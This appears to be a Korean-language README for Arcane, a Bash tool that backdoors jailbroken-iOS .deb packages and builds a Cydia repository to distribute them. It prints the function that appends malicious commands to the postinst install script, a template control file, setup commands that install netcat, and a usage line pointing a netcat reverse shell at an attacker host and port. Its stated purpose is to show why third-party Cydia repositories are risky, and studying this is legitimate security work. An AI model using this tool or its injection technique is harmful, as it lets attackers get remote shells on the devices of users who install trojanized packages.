
Arcane은 iOS 패키지(iphone-arm)를 백도어 처리하고 APT 저장소에 필요한 리소스를 생성하기 위해 설계된 간단한 스크립트입니다.
Arcane은 iOS 패키지(iphone-arm)를 백도어하고 APT 저장소에 필요한 리소스를 생성하도록 설계된 간단한 스크립트입니다. 이 스크립트는 이 글을 위해 만들어졌으며, Cydia 저장소가 왜 위험할 수 있는지, 그리고 손상된 iOS 장치에서 어떤 사후 공격이 가능한지 설명하는 데 도움을 줍니다.

GIF에서 무슨 일이 일어나고 있는지 이해하려면 Arcane으로 생성된 패키지를 압축 해제하세요.
dpkg-deb -R /tmp/cydia/whois_5.3.2-1_iphoneos-arm_BACKDOORED.deb /tmp/whois-decomp
DEBIAN 디렉토리의 control 및 postinst 파일을 확인하세요. 두 파일 모두 중요합니다.
tree /tmp/whois-decomp/
/tmp/whois-decomp/
├── DEBIAN
│ ├── control
│ └── postinst
└── usr
└── bin
└── whois
애플리케이션을 설치하거나 제거할 때 패키지의 일부로 스크립트를 제공할 수 있습니다. 패키지 관리자 스크립트에는 preinst, postinst, prerm, postrm 파일이 포함됩니다. Arcane은 설치 중 명령을 실행하기 위해 postinst 파일을 활용합니다.
# The "post-installation" file. This file is generally responsible
# for executing commands on the OS after installing the required
# files. It's utilized by developers to manage and maintain various
# aspects of an installation. Arcane abuses this functionality by
# appending malicious Bash commands to the file.
postinst="$tmp/DEBIAN/postinst";
# A function to handle the type of command execution embedded into the
# postinst file.
function inject_backdoor ()
{
# If --file is used, `cat` the command(s) into the postinst file.
if [[ "$infile" ]]; then
cat "$infile" >> "$postinst";
embed="[$infile]";
else
# If no --file, utilize the simple Bash payload, previously
# defined.
echo -e "$payload" >> "$postinst";
embed="generic shell command";
fi;
status "embedded $embed into postinst" "error embedding backdoor";
chmod 0755 "$postinst"
};
control 파일은 패키지 관리 도구가 패키지를 설치할 때 사용하는 값을 포함합니다. Arcane은 기존 control을 수정하거나 새로 생성합니다.
# The "control" file template. Most iOS packages will include a
# control file. In the event one is not found, Arcane will use the
# below template. The `$hacker` variable is used here to occupy
# various arbitrary fields.
# https://www.debian.org/doc/manuals/maint-guide/dreq.en.html
controlTemp="Package: com.$hacker.backdoor
Name: $hacker backdoor
Version: 1337
Section: app
Architecture: iphoneos-arm
Description: A backdoored iOS package
Author: $hacker <https://$hacker.github.io/>
Maintainer: $hacker <https://$hacker.github.io/>";
...
# An `if` statement to check for the control file.
if [[ ! -f "$tmp/DEBIAN/control" ]]; then
# If no control is detected, create it using the template.
echo "$controlTemp" > "$tmp/DEBIAN/control";
status "created control file" "error with control template";
else
# If a control file exists, Arcane will simply rename the package
# as it appears in the list of available Cydia applications. This
# makes the package easier to location in Cydia.
msg "detected control file" succ;
sed -i '0,/^Name:.*/s//Name: $hacker backdoor/' "$tmp/DEBIAN/control";
status "modified control file" "error with control";
fi;
Kali v2020.3에서 저장소를 클론하세요.
sudo apt-get update; sudo apt-get install -Vy bzip2 netcat-traditional dpkg coreutils # dependencies
sudo git clone https://github.com/tokyoneon/arcane /opt/arcane
sudo chown $USER:$USER -R /opt/arcane/; cd /opt/arcane
chmod +x arcane.sh;./arcane.sh --help
주어진 패키지에 명령을 삽입하세요. 자세한 내용은 글을 참조하십시오.
./arcane.sh --input samples/sed_4.5-1_iphoneos-arm.deb --lhost <attacker> --lport <4444> --cydia --netcat
저장소에는 테스트용 패키지가 포함되어 있습니다.
ls -la samples/
-rw-r--r-- 1 root root 100748 Jul 17 18:39 libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 142520 Jul 22 06:21 network-cmds_543-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 76688 Aug 29 2018 sed_4.5-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 60866 Jul 8 21:03 top_39-2_iphoneos-arm.deb
-rw-r--r-- 1 root root 13810 Aug 29 2018 whois_5.3.2-1_iphoneos-arm.deb
공식 Bingner 저장소에서 확인된 MD5 합계입니다.
md5sum samples/*.deb
3f1712964701580b3f018305a55e217c samples/libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
795ccf9c6d53dd60d2f74f7a601f474f samples/network-cmds_543-1_iphoneos-arm.deb
a020882dac121afa4b03c63304d729b0 samples/sed_4.5-1_iphoneos-arm.deb
38db275007a331e7ff8899ea22261dc7 samples/top_39-2_iphoneos-arm.deb
b40ee800b72bbac323568b36ad67bb16 samples/whois_5.3.2-1_iphoneos-arm.deb